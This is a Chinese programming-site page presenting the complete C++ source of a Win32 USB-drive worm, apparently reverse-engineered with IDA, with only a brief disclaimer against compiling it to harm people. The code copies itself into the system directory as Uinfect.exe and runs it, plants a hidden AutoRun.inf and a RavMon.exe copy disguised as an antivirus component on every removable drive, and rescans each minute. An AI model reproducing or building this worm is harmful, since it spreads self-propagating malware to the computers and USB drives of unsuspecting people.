• 欢迎访问开心洋葱网站,在线教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入开心洋葱 QQ群
  • 为方便开心洋葱网用户,开心洋葱官网已经开启复制功能!
  • 欢迎访问开心洋葱网站,手机也能访问哦~欢迎加入开心洋葱多维思维学习平台 QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏开心洋葱吧~~~~~~~~~~~~~!
  • 由于近期流量激增,小站的ECS没能经的起亲们的访问,本站依然没有盈利,如果各位看如果觉着文字不错,还请看官给小站打个赏~~~~~~~~~~~~~!

一个简单的C++编写的u盘病毒代码

OC/C/C++ 水墨上仙 2749次浏览

一个简单的C++编写的u盘病毒代码
一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。

#include<windows.h>
#include<string.h>
 
BOOL UDevice();
void ResourceToFile(char  *filename,char *Name,char* Type);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
     LPSTR lpCmdLine, int nShowCmd)
 {
     UDevice();
    return 0;
 }
 BOOL UDevice()
 {
    
     while(1)
     {
         char Name[256]="H:\\";
         char szName[256];
         char ToPath[256];
         char infPath[256];
         char OpenUDevice[79]; 
 
         UINT retType;
     
         memset(szName, 0, 256);
         memset(ToPath, 0, 256);
         memset(infPath, 0, 256);
         memset(OpenUDevice, 0, 79);
    
    
     //do
     //{
     //}while()
    
     //遍历盘符
         unsigned char i = 0x42;
         for(; i < 0x5B; i += 0x1)
         {
           Name[0] = i;
           retType = GetDriveType(Name);
           //判断是否是可移动存储设备
           if(retType == DRIVE_REMOVABLE)
           {
                //得到自身文件路径
                GetModuleFileName(NULL, szName, 256);
                //比较是否和U盘的盘符相同
                if(strncmp(Name, szName, 1) == 0)
                {
                    //得到系统目录
                   GetSystemDirectory(ToPath, 256);
                   strcat(ToPath,"\\Uinfect.exe");
                   //把自身文件复制到系统目录
                   if(CopyFile(szName, ToPath, TRUE))
                   {
                       WinExec(ToPath, 0);//运行程序
                   }
                   strcpy(OpenUDevice, "explorer ");
                   strcat(OpenUDevice, Name);
                  
                   //打开U盘
                   WinExec(OpenUDevice,1);
                   return 0;   
                }
                else
                {
                    strcpy(ToPath, Name);
                    strcat(ToPath,"\\RavMon.exe");
                    strcpy(infPath,Name);
                    strcat(infPath,"\\AutoRun.inf");
                    //还原U盘上的文件属性
                    SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    DeleteFile(ToPath);
                    DeleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    ResourceToFile(infPath, (char*)0x64, (char*)256);
                    //拷贝自身文件到U盘
                    CopyFile(szName,ToPath,FALSE);
                   
                    //把这两个文件设置成系统,隐藏属性
                   
                    //这里我查了MSDN  因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦
                    SetFileAttributes(ToPath, 0x6);
                    SetFileAttributes(infPath, 0x6);
                }
           }
         }
         //一分钟检测一次U盘
         Sleep(60000);
     }
   
 }
void ResourceToFile(char  *filename,char *Name,char* Type)
{   
   
    //寻找自身进程中的资源
    HRSRC hRes = FindResource(NULL,Name,Type);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = LoadResource(NULL, hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = LockResource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = SizeofResource(NULL, hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0,
                     CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
    if(hFile==INVALID_HANDLE_VALUE)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
        return;
    //关闭文件句柄
    CloseHandle(hFile);
    //释放资源
    GlobalFree(hgRes);
}


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明一个简单的C++编写的u盘病毒代码
喜欢 (0)
加载中……